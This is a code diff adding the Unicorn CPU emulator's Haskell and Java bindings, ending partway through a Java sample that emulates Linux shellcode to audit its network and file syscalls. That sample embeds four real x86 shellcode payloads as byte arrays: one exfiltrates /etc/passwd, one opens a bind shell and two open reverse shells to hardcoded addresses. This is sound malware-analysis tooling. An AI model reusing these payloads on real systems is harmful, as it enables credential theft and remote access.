b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/Internal/Unicorn.chs @@ -0,0 +1,350 @@ +{-# LANGUAGE ForeignFunctionInterface #-} +{-# LANGUAGE ScopedTypeVariables #-} + +{-| +Module : Unicorn.Internal.Unicorn +Description : The Unicorn CPU emulator. +Copyright : (c) Adrian Herrera, 2016 +License : GPL-2 + +Low-level bindings for the Unicorn CPU emulator framework. + +This module should not be directly imported; it is only exposed because of the +way cabal handles ordering of chs files. +-} +module Unicorn.Internal.Unicorn + ( -- * Types + Architecture(..) + , Mode(..) + , MemoryPermission(..) + , MemoryRegion(..) + , QueryType(..) + , Context + + -- * Function bindings + , ucOpen + , ucQuery + , ucEmuStart + , ucEmuStop + , ucRegWrite + , ucRegRead + , ucRegWriteBatch + , ucRegReadBatch + , ucMemWrite + , ucMemRead + , ucMemMap + , ucMemUnmap + , ucMemProtect + , ucMemRegions + , mkContext + , ucContextAlloc + , ucContextSave + , ucContextRestore + , ucVersion + , ucErrno + , ucStrerror + ) where + +import Control.Applicative +import Control.Monad +import Data.ByteString (ByteString, useAsCStringLen) +import Foreign +import Foreign.C +import Prelude hiding (until) + +import Unicorn.Internal.Util + +{# import Unicorn.Internal.Core #} + +{# context lib = "unicorn" #} + +#include +#include "unicorn_wrapper.h" + +------------------------------------------------------------------------------- +-- Types +------------------------------------------------------------------------------- + +-- | CPU architecture. +{# enum uc_arch as Architecture + { underscoreToCase } + with prefix = "UC_" + deriving (Show, Eq, Bounded) +#} + +-- | CPU hardware mode. +{# enum uc_mode as Mode + { underscoreToCase } + with prefix = "UC_" + deriving (Show, Eq, Bounded) +#} + +-- | Memory permissions. +{# enum uc_prot as MemoryPermission + { underscoreToCase } + with prefix = "UC_" + deriving (Show, Eq, Bounded) +#} + +-- | Memory region mapped by 'memMap'. Retrieve the list of memory regions with +-- 'memRegions'. +data MemoryRegion = MemoryRegion + { + mrBegin :: Word64 -- ^ Begin address of the region (inclusive) + , mrEnd :: Word64 -- ^ End address of the region (inclusive) + , mrPerms :: [MemoryPermission] -- ^ Memory permissions of the region + } + +instance Storable MemoryRegion where + sizeOf _ = {# sizeof uc_mem_region #} + alignment _ = {# alignof uc_mem_region #} + peek p = MemoryRegion + <$> liftA fromIntegral ({# get uc_mem_region->begin #} p) + <*> liftA fromIntegral ({# get uc_mem_region->end #} p) + <*> liftA expandMemPerms ({# get uc_mem_region->perms #} p) + poke p mr = do + {# set uc_mem_region.begin #} p (fromIntegral $ mrBegin mr) + {# set uc_mem_region.end #} p (fromIntegral $ mrEnd mr) + {# set uc_mem_region.perms #} p (combineEnums $ mrPerms mr) + +-- | A pointer to a memory region. +{# pointer *uc_mem_region as MemoryRegionPtr -> MemoryRegion #} + +-- | Query types for the 'query' API. +{# enum uc_query_type as QueryType + { underscoreToCase } + with prefix = "UC_" + deriving (Show, Eq, Bounded) +#} + +-- | Opaque storage for CPU context, used with the context functions. +{# pointer *uc_context as Context + foreign finalizer uc_free_wrapper as memFree + newtype +#} + +-- | A pointer to a CPU context. +{# pointer *uc_context as ContextPtr -> Context #} + +-- | Make a CPU context out of a context pointer. The returned CPU context will +-- automatically call 'uc_free' when it goes out of scope. +mkContext :: ContextPtr + -> IO Context +mkContext ptr = + liftM Context (newForeignPtr memFree ptr) + +------------------------------------------------------------------------------- +-- Emulator control +------------------------------------------------------------------------------- + +{# fun uc_open as ^ + { `Architecture' + , combineEnums `[Mode]' + , alloca- `EnginePtr' peek* + } -> `Error' +#} + +{# fun uc_query as ^ + { `Engine' + , `QueryType' + , alloca- `Int' castPtrAndPeek* + } -> `Error' +#} + +{# fun uc_emu_start as ^ + { `Engine' + , `Word64' + , `Word64' + , `Int' + , `Int' + } -> `Error' +#} + +{# fun uc_emu_stop as ^ + { `Engine' + } -> `Error' +#} + +------------------------------------------------------------------------------- +-- Register operations +------------------------------------------------------------------------------- + +{# fun uc_reg_write_wrapper as ucRegWrite + `Reg r' => + { `Engine' + , enumToNum `r' + , withIntegral* `Int64' + } -> `Error' +#} + +{# fun uc_reg_read_wrapper as ucRegRead + `Reg r' => + { `Engine' + , enumToNum `r' + , alloca- `Int64' castPtrAndPeek* + } -> `Error' +#} + +{# fun uc_reg_write_batch_wrapper as ucRegWriteBatch + `Reg r' => + { `Engine' + , withEnums* `[r]' + , integralListToArray* `[Int64]' + , `Int' + } -> `Error' +#} + +{# fun uc_reg_read_batch_wrapper as ucRegReadBatch + `Reg r' => + { `Engine' + , withEnums* `[r]' + , castPtr `Ptr Int64' + , `Int' + } -> `Error' +#} + +------------------------------------------------------------------------------- +-- Memory operations +------------------------------------------------------------------------------- + +{# fun uc_mem_write as ^ + { `Engine' + , `Word64' + , withByteStringLen* `ByteString'& + } -> `Error' +#} + +{# fun uc_mem_read as ^ + { `Engine' + , `Word64' + , castPtr `Ptr Word8' + , `Int' + } -> `Error' +#} + +{# fun uc_mem_map as ^ + { `Engine' + , `Word64' + , `Int' + , combineEnums `[MemoryPermission]' + } -> `Error' +#} + +{# fun uc_mem_unmap as ^ + { `Engine' + , `Word64' + , `Int' + } -> `Error' +#} + +{# fun uc_mem_protect as ^ + { `Engine' + , `Word64' + , `Int' + , combineEnums `[MemoryPermission]' + } -> `Error' +#} + +{# fun uc_mem_regions as ^ + { `Engine' + , alloca- `MemoryRegionPtr' peek* + , alloca- `Int' castPtrAndPeek* + } -> `Error' +#} + +------------------------------------------------------------------------------- +-- Context +------------------------------------------------------------------------------- + +{# fun uc_context_alloc as ^ + { `Engine' + , alloca- `ContextPtr' peek* + } -> `Error' +#} + +{# fun uc_context_save as ^ + { `Engine' + , `Context' + } -> `Error' +#} + +{# fun uc_context_restore as ^ + { `Engine' + , `Context' + } -> `Error' +#} + +------------------------------------------------------------------------------- +-- Misc. +------------------------------------------------------------------------------- + +{# fun pure unsafe uc_version as ^ + { id `Ptr CUInt' + , id `Ptr CUInt' + } -> `Int' +#} + +{# fun unsafe uc_errno as ^ + { `Engine' + } -> `Error' +#} + +{# fun pure unsafe uc_strerror as ^ + { `Error' + } -> `String' +#} + +------------------------------------------------------------------------------- +-- Helper functions +------------------------------------------------------------------------------- + +expandMemPerms :: (Integral a, Bits a) + => a + -> [MemoryPermission] +expandMemPerms perms = + -- Only interested in the 3 least-significant bits + let maskedPerms = fromIntegral $ perms .&. 0x7 in + if maskedPerms == 0x0 then + [ProtNone] + else if maskedPerms == 0x7 then + [ProtAll] + else + checkRWE maskedPerms [ProtRead, ProtWrite, ProtExec] + where + checkRWE p (x:xs) = + if p .&. (fromEnum x) /= 0 then + x : checkRWE p xs + else + checkRWE p xs + checkRWE _ [] = + [] + +withIntegral :: (Integral a, Num b, Storable b) + => a + -> (Ptr b -> IO c) + -> IO c +withIntegral = + with . fromIntegral + +withByteStringLen :: Integral a + => ByteString + -> ((Ptr (), a) -> IO b) + -> IO b +withByteStringLen bs f = + useAsCStringLen bs $ \(ptr, len) -> f (castPtr ptr, fromIntegral len) + +withEnums :: Enum a + => [a] + -> (Ptr b -> IO c) + -> IO c +withEnums l f = + let ints :: [CInt] = map enumToNum l in + withArray ints $ \ptr -> f (castPtr ptr) + +integralListToArray :: (Integral a, Storable b, Num b) + => [a] + -> (Ptr b -> IO c) + -> IO c +integralListToArray l f = + let l' = map fromIntegral l in + withArray l' $ \array -> f array diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/Internal/Util.hs b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/Internal/Util.hs new file mode 100644 index 0000000..edaf343 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/Internal/Util.hs @@ -0,0 +1,31 @@ +{-| +Module : Unicorn.Internal.Util +Description : Utility (aka helper) functions for the Unicorn emulator. +Copyright : (c) Adrian Herrera, 2016 +License : GPL-2 +-} +module Unicorn.Internal.Util where + +import Data.Bits +import Foreign + +-- | Combine a list of Enums by performing a bitwise-OR. +combineEnums :: (Enum a, Num b, Bits b) + => [a] + -> b +combineEnums = + foldr ((.|.) <$> enumToNum) 0 + +-- | Cast a pointer and then peek inside it. +castPtrAndPeek :: Storable a + => Ptr b + -> IO a +castPtrAndPeek = + peek . castPtr + +-- | Convert an 'Eum' to a 'Num'. +enumToNum :: (Enum a, Num b) + => a + -> b +enumToNum = + fromIntegral . fromEnum diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/cbits/unicorn_wrapper.c b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/cbits/unicorn_wrapper.c new file mode 100644 index 0000000..878518e --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/cbits/unicorn_wrapper.c @@ -0,0 +1,50 @@ +#include + +#include "unicorn_wrapper.h" + +void uc_close_wrapper(uc_engine *uc) { + uc_close(uc); +} + +void uc_close_dummy(uc_engine *uc) { +} + +uc_err uc_reg_write_wrapper(uc_engine *uc, int regid, const int64_t *value) { + return uc_reg_write(uc, regid, (const void*) value); +} + +uc_err uc_reg_read_wrapper(uc_engine *uc, int regid, int64_t *value) { + return uc_reg_read(uc, regid, (void*) value); +} + +uc_err uc_reg_write_batch_wrapper(uc_engine *uc, int *regs, int64_t *vals, int count) { + void **valsPtr = malloc(sizeof(void*) * count); + int i; + + for (i = 0; i < count; ++i) { + valsPtr[i] = (void*) &vals[i]; + } + + uc_err ret = uc_reg_write_batch(uc, regs, (void *const*) valsPtr, count); + free(valsPtr); + + return ret; +} + +uc_err uc_reg_read_batch_wrapper(uc_engine *uc, int *regs, int64_t *vals, int count) { + void **valsPtr = malloc(sizeof(void*) * count); + int i; + + for (i = 0; i < count; ++i) { + valsPtr[i] = (void*) &vals[i]; + } + + uc_err ret = uc_reg_read_batch(uc, regs, valsPtr, count); + free(valsPtr); + + return ret; +} + +void uc_free_wrapper(void *mem) { + uc_free(mem); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/include/unicorn_wrapper.h b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/include/unicorn_wrapper.h new file mode 100644 index 0000000..3175716 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/include/unicorn_wrapper.h @@ -0,0 +1,30 @@ +#ifndef UNICORN_WRAPPER_H +#define UNICORN_WRAPPER_H + +#include +#include + +/* + * Wrap Unicorn's uc_close function and ignore the returned error code. + */ +void uc_close_wrapper(uc_engine *uc); + +/* + * Doesn't actually do anything. + */ +void uc_close_dummy(uc_engine *uc); + +/* + * Wrappers for register read/write functions that accept int64_t pointers. + */ +uc_err uc_reg_write_wrapper(uc_engine *uc, int regid, const int64_t *value); +uc_err uc_reg_read_wrapper(uc_engine *uc, int regid, int64_t *value); +uc_err uc_reg_write_batch_wrapper(uc_engine *uc, int *regs, int64_t *vals, int count); +uc_err uc_reg_read_batch_wrapper(uc_engine *uc, int *regs, int64_t *vals, int count); + +/* + * Wrap Unicorn's uc_free function and ignore the returned error code. + */ +void uc_free_wrapper(void *context); + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/unicorn.cabal b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/unicorn.cabal new file mode 100644 index 0000000..a16ffe6 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/haskell/unicorn.cabal @@ -0,0 +1,42 @@ +-- Initial unicorn.cabal generated by cabal init. For further +-- documentation, see http://haskell.org/cabal/users-guide/ + +name: unicorn +version: 0.1.0.0 +category: FFI, Emulation +synopsis: Unicorn CPU emulator engine +description: Haskell bindings for the Unicorn CPU emulator engine. +homepage: https://github.com/unicorn-engine/unicorn +author: Adrian Herrera +license: GPL +copyright: (c) 2016, Adrian Herrera +category: System +build-type: Simple +stability: experimental +cabal-version: >= 1.10 +extra-source-files: cbits/ + , include/ + +library + exposed-modules: Unicorn.Internal.Core + Unicorn.Internal.Unicorn + Unicorn.CPU.Arm64 + Unicorn.CPU.Arm + Unicorn.CPU.M68k + Unicorn.CPU.Mips + Unicorn.CPU.Sparc + Unicorn.CPU.X86 + Unicorn.Internal.Hook + Unicorn.Hook + Unicorn + other-modules: Unicorn.Internal.Util + build-depends: base >=4 && <5 + , bytestring >= 0.9.1 + , transformers < 0.6 + hs-source-dirs: src + c-sources: src/cbits/unicorn_wrapper.c + include-dirs: src/include + build-tools: c2hs + pkgconfig-depends: unicorn + default-language: Haskell2010 + ghc-options: -Wall diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/java/Makefile b/ai_anti_malware/unicorn/unicorn-master/bindings/java/Makefile new file mode 100644 index 0000000..73d2072 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/java/Makefile @@ -0,0 +1,29 @@ +.PHONY: gen_const clean jar all lib samples install + +all: gen_const + $(MAKE) -f Makefile.build all + +lib: + $(MAKE) -f Makefile.build lib + +samples: + $(MAKE) -f Makefile.build samples + +jar: + $(MAKE) -f Makefile.build jar + +install: lib jar + $(MAKE) -f Makefile.build install + +uninstall: + $(MAKE) -f Makefile.build uninstall + +gen_const: + cd .. && python const_generator.py java + +clean: + rm -f unicorn/*.class + rm -f samples/*.class + rm -f *.so + rm -f *.dylib + rm -f *.dll diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/java/Makefile.build b/ai_anti_malware/unicorn/unicorn-master/bindings/java/Makefile.build new file mode 100644 index 0000000..2aaf511 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/java/Makefile.build @@ -0,0 +1,81 @@ + +.PHONY: gen_const clean + +JAVA_HOME := $(shell jrunscript -e 'java.lang.System.out.println(java.lang.System.getProperty("java.home"));') + +JAVA_INC := $(shell realpath $(JAVA_HOME)/include) + +JAVA_PLATFORM_INC := $(shell dirname `find $(JAVA_INC) -name jni_md.h`) + +UNICORN_INC=../../include + +SAMPLES := $(shell ls samples/*.java) +SRC := $(shell ls unicorn/*.java) + +OS := $(shell uname) +ifeq ($(OS),Darwin) + LIB_EXT=.dylib +else ifeq ($(OS),Linux) + LIB_EXT=.so +else + LIB_EXT=.dll +endif + +CC=gcc +CFLAGS=-fPIC +LDFLAGS=-shared -fPIC +LIBS=-lunicorn +LIBDIR=-L../../ +INCS=-I$(JAVA_INC) -I$(JAVA_PLATFORM_INC) -I$(UNICORN_INC) + +JC=javac +CLASSPATH=./ + +.SUFFIXES: .java .class + +%.class: %.java + $(JC) $(JFLAGS) $< + +OBJS=unicorn_Unicorn.o + +JARFILE=unicorn.jar + +all: lib jar samples + +%.o: %.c + $(CC) -c $(CFLAGS) $(INCS) $< -o $@ + +unicorn_Unicorn.h: unicorn/Unicorn.java + javah unicorn.Unicorn + +unicorn_Unicorn.o: unicorn_Unicorn.c unicorn_Unicorn.h + $(CC) -c $(CFLAGS) $(INCS) $< -o $@ + +libunicorn_java$(LIB_EXT): unicorn_Unicorn.o + +lib: libunicorn_java$(LIB_EXT) unicorn_Unicorn.h + $(CC) -o $< $(LDFLAGS) $(OBJS) $(LIBDIR) $(LIBS) + +samples: $(SAMPLES:.java=.class) +jarfiles: $(SRC:.java=.class) + +jar: jarfiles + jar cf $(JARFILE) unicorn/*.class + +install: lib jar + cp libunicorn_java$(LIB_EXT) $(JAVA_HOME)/lib/ext + cp $(JARFILE) $(JAVA_HOME)/lib/ext + +uninstall: + rm $(JAVA_HOME)/lib/ext/libunicorn_java$(LIB_EXT) + rm $(JAVA_HOME)/lib/ext/$(JARFILE) + +gen_const: + cd .. && python const_generator.py java + +clean: + rm unicorn/*.class + rm samples/*.class + rm *.so + rm *.dylib + rm *.dll diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/java/README.TXT b/ai_anti_malware/unicorn/unicorn-master/bindings/java/README.TXT new file mode 100644 index 0000000..471adb1 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/java/README.TXT @@ -0,0 +1,37 @@ +This documentation explains how to install the Java binding for Unicorn +from source. + +0. Install the core engine as dependency + + Follow README in the root directory to compile & install the core. + + On *nix, this can simply done by: + + $ sudo ./make.sh install + + +1. Install a JDK for your platform. When done, make sure the JDK tools + are in your PATH. + +2. Change directories into the java bindings, build and install + + $ cd bindings/java + $ make + $ sudo make install + $ make samples + +The samples directory contains some sample code to show how to use Unicorn API. + +- Sample_.java + These show how to access architecture-specific information for each + architecture. + +- Shellcode.java + This shows how to analyze a Linux shellcode. + +- SampleNetworkAuditing.java + Unicorn sample for auditing network connection and file handling in shellcode. + +To uninstall Java binding for Unicorn: + + $ sudo make uninstall diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/java/samples/SampleNetworkAuditing.java b/ai_anti_malware/unicorn/unicorn-master/bindings/java/samples/SampleNetworkAuditing.java new file mode 100644 index 0000000..929ceb9 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/java/samples/SampleNetworkAuditing.java @@ -0,0 +1,429 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2015 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +/* + Unicorn sample for auditing network connection and file handling in shellcode. + Nguyen Tan Cong +*/ + +import unicorn.*; +import java.util.*; + + +public class SampleNetworkAuditing { + + public static int next_id = 3; + public static final int SIZE_REG = 4; + + private static LogChain fd_chains = new LogChain(); + + public static int get_id() { + return next_id++; + } + + public static final long toInt(byte val[]) { + long res = 0; + for (int i = 0; i < val.length; i++) { + long v = val[i] & 0xff; + res = res + (v << (i * 8)); + } + return res; + } + + public static final byte[] toBytes(long val) { + byte[] res = new byte[8]; + for (int i = 0; i < 8; i++) { + res[i] = (byte)(val & 0xff); + val >>>= 8; + } + return res; + } + + + private static class MyInterruptHook implements InterruptHook { + // callback for tracing Linux interrupt + public void hook(Unicorn uc, int intno, Object user) { +// System.err.println(String.format("Interrupt 0x%x, from Unicorn 0x%x", intno, u.hashCode())); + + // only handle Linux syscall + if (intno != 0x80) { + return; + } + Long eax = (Long)uc.reg_read(Unicorn.UC_X86_REG_EAX); + Long ebx = (Long)uc.reg_read(Unicorn.UC_X86_REG_EBX); + Long ecx = (Long)uc.reg_read(Unicorn.UC_X86_REG_ECX); + Long edx = (Long)uc.reg_read(Unicorn.UC_X86_REG_EDX); + Long eip = (Long)uc.reg_read(Unicorn.UC_X86_REG_EIP); + + // System.out.printf(">>> INTERRUPT %d\n", toInt(eax)); + + if (eax == 1) { // sys_exit + System.out.printf(">>> SYS_EXIT\n"); + uc.emu_stop(); + } + else if (eax == 3) { // sys_read + long fd = ebx; + long buf = ecx; + long count = edx; + + String uuid = UUID.randomUUID().toString().substring(0, 32); + + byte[] dummy_content = Arrays.copyOfRange(uuid.getBytes(), 0, (int)Math.min(count, uuid.length())); + uc.mem_write(buf, dummy_content); + + String msg = String.format("read %d bytes from fd(%d) with dummy_content(%s)", count, fd, uuid.substring(0, dummy_content.length)); + + fd_chains.add_log(fd, msg); + System.out.printf(">>> %s\n", msg); + } + else if (eax == 4) { // sys_write + long fd = ebx; + long buf = ecx; + long count = edx; + + byte[] content = uc.mem_read(buf, count); + + String msg = String.format("write data=%s count=%d to fd(%d)", new String(content), count, fd); + + System.out.printf(">>> %s\n", msg); + fd_chains.add_log(fd, msg); + } + else if (eax == 5) { // sys_open + long filename_addr = ebx; + long flags = ecx; + long mode = edx; + String filename = read_string(uc, filename_addr); + + Long dummy_fd = new Long(get_id()); + uc.reg_write(Unicorn.UC_X86_REG_EAX, dummy_fd); + + String msg = String.format("open file (filename=%s flags=%d mode=%d) with fd(%d)", filename, flags, mode, dummy_fd); + + fd_chains.create_chain(dummy_fd); + fd_chains.add_log(dummy_fd, msg); + System.out.printf(">>> %s\n", msg); + } + else if (eax == 11) { // sys_execv + // System.out.printf(">>> ebx=0x%x, ecx=0x%x, edx=0x%x\n", ebx, ecx, edx)); + String filename = read_string(uc, ebx); + + System.out.printf(">>> SYS_EXECV filename=%s\n", filename); + } + else if (eax == 63) { // sys_dup2 + fd_chains.link_fd(ecx, ebx); + System.out.printf(">>> SYS_DUP2 oldfd=%d newfd=%d\n", ebx, ecx); + } + else if (eax == 102) { // sys_socketcall + // ref: http://www.skyfree.org/linux/kernel_network/socket.html + Long call = (Long)uc.reg_read(Unicorn.UC_X86_REG_EBX); + Long args = (Long)uc.reg_read(Unicorn.UC_X86_REG_ECX); + + // int sys_socketcall(int call, unsigned long *args) + if (call == 1) { // sys_socket + // err = sys_socket(a0,a1,a[2]) + // int sys_socket(int family, int type, int protocol) + long family = toInt(uc.mem_read(args, SIZE_REG)); + long sock_type = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); + long protocol = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); + + Long dummy_fd = new Long(get_id()); + uc.reg_write(Unicorn.UC_X86_REG_EAX, dummy_fd.intValue()); + + if (family == 2) { // AF_INET + String msg = String.format("create socket (%s, %s) with fd(%d)", ADDR_FAMILY.get(family), SOCKET_TYPES.get(sock_type), dummy_fd); + fd_chains.create_chain(dummy_fd); + fd_chains.add_log(dummy_fd, msg); + print_sockcall(msg); + } + else if (family == 3) { // AF_INET6 + } + } + else if (call == 2) { // sys_bind + long fd = toInt(uc.mem_read(args, SIZE_REG)); + long umyaddr = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); + long addrlen = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); + + byte[] sock_addr = uc.mem_read(umyaddr, addrlen); + + String msg = String.format("fd(%d) bind to %s", fd, parse_sock_address(sock_addr)); + fd_chains.add_log(fd, msg); + print_sockcall(msg); + } + else if (call == 3) { // sys_connect + // err = sys_connect(a0, (struct sockaddr *)a1, a[2]) + // int sys_connect(int fd, struct sockaddr *uservaddr, int addrlen) + long fd = toInt(uc.mem_read(args, SIZE_REG)); + long uservaddr = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); + long addrlen = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); + + byte[] sock_addr = uc.mem_read(uservaddr, addrlen); + String msg = String.format("fd(%d) connect to %s", fd, parse_sock_address(sock_addr)); + fd_chains.add_log(fd, msg); + print_sockcall(msg); + } + else if (call == 4) { // sys_listen + long fd = toInt(uc.mem_read(args, SIZE_REG)); + long backlog = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); + + String msg = String.format("fd(%d) listened with backlog=%d", fd, backlog); + fd_chains.add_log(fd, msg); + print_sockcall(msg); + } + else if (call == 5) { // sys_accept + long fd = toInt(uc.mem_read(args, SIZE_REG)); + long upeer_sockaddr = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); + long upeer_addrlen = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); + + // System.out.printf(">>> upeer_sockaddr=0x%x, upeer_addrlen=%d\n" % (upeer_sockaddr, upeer_addrlen)) + + if (upeer_sockaddr == 0x0) { + print_sockcall(String.format("fd(%d) accept client", fd)); + } + else { + long upeer_len = toInt(uc.mem_read(upeer_addrlen, 4)); + + byte[] sock_addr = uc.mem_read(upeer_sockaddr, upeer_len); + + String msg = String.format("fd(%d) accept client with upeer=%s", fd, parse_sock_address(sock_addr)); + fd_chains.add_log(fd, msg); + print_sockcall(msg); + } + } + else if (call == 9) { // sys_send + long fd = toInt(uc.mem_read(args, SIZE_REG)); + long buff = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); + long length = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); + long flags = toInt(uc.mem_read(args + SIZE_REG * 3, SIZE_REG)); + + byte[] buf = uc.mem_read(buff, length); + String msg = String.format("fd(%d) send data=%s", fd, new String(buf)); + fd_chains.add_log(fd, msg); + print_sockcall(msg); + } + else if (call == 11) { // sys_receive + long fd = toInt(uc.mem_read(args, SIZE_REG)); + long ubuf = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); + long size = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); + long flags = toInt(uc.mem_read(args + SIZE_REG * 3, SIZE_REG)); + + String msg = String.format("fd(%d) is gonna receive data with size=%d flags=%d", fd, size, flags); + fd_chains.add_log(fd, msg); + print_sockcall(msg); + } + else if (call == 13) { // sys_shutdown + long fd = toInt(uc.mem_read(args, SIZE_REG)); + long how = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); + + String msg = String.format("fd(%d) is shutted down because of %d", fd, how); + fd_chains.add_log(fd, msg); + print_sockcall(msg); + } + } + } + } + + public static final Hashtable SOCKET_TYPES; + public static final Hashtable ADDR_FAMILY; + static { + SOCKET_TYPES = new Hashtable(); + ADDR_FAMILY = new Hashtable(); + SOCKET_TYPES.put(1L, "SOCK_STREAM"); + SOCKET_TYPES.put(2L, "SOCK_DGRAM"); + SOCKET_TYPES.put(3L, "SOCK_RAW"); + SOCKET_TYPES.put(4L, "SOCK_RDM"); + SOCKET_TYPES.put(5L, "SOCK_SEQPACKET"); + SOCKET_TYPES.put(10L, "SOCK_PACKET"); + + ADDR_FAMILY.put(0L, "AF_UNSPEC"); + ADDR_FAMILY.put(1L, "AF_UNIX"); + ADDR_FAMILY.put(2L, "AF_INET"); + ADDR_FAMILY.put(3L, "AF_AX25"); + ADDR_FAMILY.put(4L, "AF_IPX"); + ADDR_FAMILY.put(5L, "AF_APPLETALK"); + ADDR_FAMILY.put(6L, "AF_NETROM"); + ADDR_FAMILY.put(7L, "AF_BRIDGE"); + ADDR_FAMILY.put(8L, "AF_AAL5"); + ADDR_FAMILY.put(9L, "AF_X25"); + ADDR_FAMILY.put(10L, "AF_INET6"); + ADDR_FAMILY.put(12L, "AF_MAX"); + } + +// http://shell-storm.org/shellcode/files/shellcode-861.php + public static final byte[] X86_SEND_ETCPASSWD = {106,102,88,49,-37,67,49,-46,82,106,1,106,2,-119,-31,-51,-128,-119,-58,106,102,88,67,104,127,1,1,1,102,104,48,57,102,83,-119,-31,106,16,81,86,-119,-31,67,-51,-128,-119,-58,106,1,89,-80,63,-51,-128,-21,39,106,5,88,91,49,-55,-51,-128,-119,-61,-80,3,-119,-25,-119,-7,49,-46,-74,-1,-78,-1,-51,-128,-119,-62,106,4,88,-77,1,-51,-128,106,1,88,67,-51,-128,-24,-44,-1,-1,-1,47,101,116,99,47,112,97,115,115,119,100}; +// http://shell-storm.org/shellcode/files/shellcode-882.php + public static final byte[] X86_BIND_TCP = {106,102,88,106,1,91,49,-10,86,83,106,2,-119,-31,-51,-128,95,-105,-109,-80,102,86,102,104,5,57,102,83,-119,-31,106,16,81,87,-119,-31,-51,-128,-80,102,-77,4,86,87,-119,-31,-51,-128,-80,102,67,86,86,87,-119,-31,-51,-128,89,89,-79,2,-109,-80,63,-51,-128,73,121,-7,-80,11,104,47,47,115,104,104,47,98,105,110,-119,-29,65,-119,-54,-51,-128}; +// http://shell-storm.org/shellcode/files/shellcode-883.php + public static final byte[] X86_REVERSE_TCP = {106,102,88,106,1,91,49,-46,82,83,106,2,-119,-31,-51,-128,-110,-80,102,104,127,1,1,1,102,104,5,57,67,102,83,-119,-31,106,16,81,82,-119,-31,67,-51,-128,106,2,89,-121,-38,-80,63,-51,-128,73,121,-7,-80,11,65,-119,-54,82,104,47,47,115,104,104,47,98,105,110,-119,-29,-51,-128}; +// http://shell-storm.org/shellcode/files/shellcode-849.php + public static final byte[] X86_REVERSE_TCP_2 = {49,-64,49,-37,49,-55,49,-46,-80,102,-77,1,81,106,6,106,1,106,2,-119,-31,-51,-128,-119,-58,-80,102,49,-37,-77,2,104,-64,-88,1,10,102,104,122,105,102,83,-2,-61,-119,-31,106,16,81,86,-119,-31,-51,-128,49,-55,-79,3,-2,-55,-80,63,-51,-128,117,-8,49,-64,82,104,110,47,115,104,104,47,47,98,105,-119,-29,82,83,-119,-31,82,-119,-30,-80,11,-51,-128}; + + // memory address where emulation starts + public static final int ADDRESS = 0x1000000; + + public static String join(ArrayList l, String sep) { + boolean first = true; + StringBuilder res = new StringBuilder(); + for (String s : l) { + if (!first) { + res.append(sep); + } + res.append(s); + first = false; + } + return res.toString(); + } + + private static class LogChain { + public Hashtable> __chains = new Hashtable>(); + public Hashtable> __linking_fds = new Hashtable>(); + + public void clean() { + __chains.clear(); + __linking_fds.clear(); + } + + public void create_chain(long id) { + if (!__chains.containsKey(id)) { + __chains.put(id, new ArrayList()); + } + else { + System.out.printf("LogChain: id %d existed\n", id); + } + } + + public void add_log(long id, String msg) { + long fd = get_original_fd(id); + + if (fd != -1) { + __chains.get(fd).add(msg); + } + else { + System.out.printf("LogChain: id %d doesn't exist\n", id); + } + } + + public void link_fd(long from_fd, long to_fd) { + if (!__linking_fds.containsKey(to_fd)) { + __linking_fds.put(to_fd, new ArrayList()); + } + + __linking_fds.get(to_fd).add(from_fd); + } + + public long get_original_fd(long fd) { + if (__chains.containsKey(fd)) { + return fd; + } + + for (Long orig_fd : __linking_fds.keySet()) { + if (__linking_fds.get(orig_fd).contains(fd)) + return orig_fd; + } + return -1; + } + + public void print_report() { + System.out.printf("\n----------------"); + System.out.printf("\n| START REPORT |"); + System.out.printf("\n----------------\n\n"); + for (Long fd : __chains.keySet()) { + System.out.printf("---- START FD(%d) ----\n", fd); + System.out.println(join(__chains.get(fd), "\n")); + System.out.printf("---- END FD(%d) ----\n", fd); + } + System.out.printf("\n--------------"); + System.out.printf("\n| END REPORT |"); + System.out.printf("\n--------------\n\n"); + } + 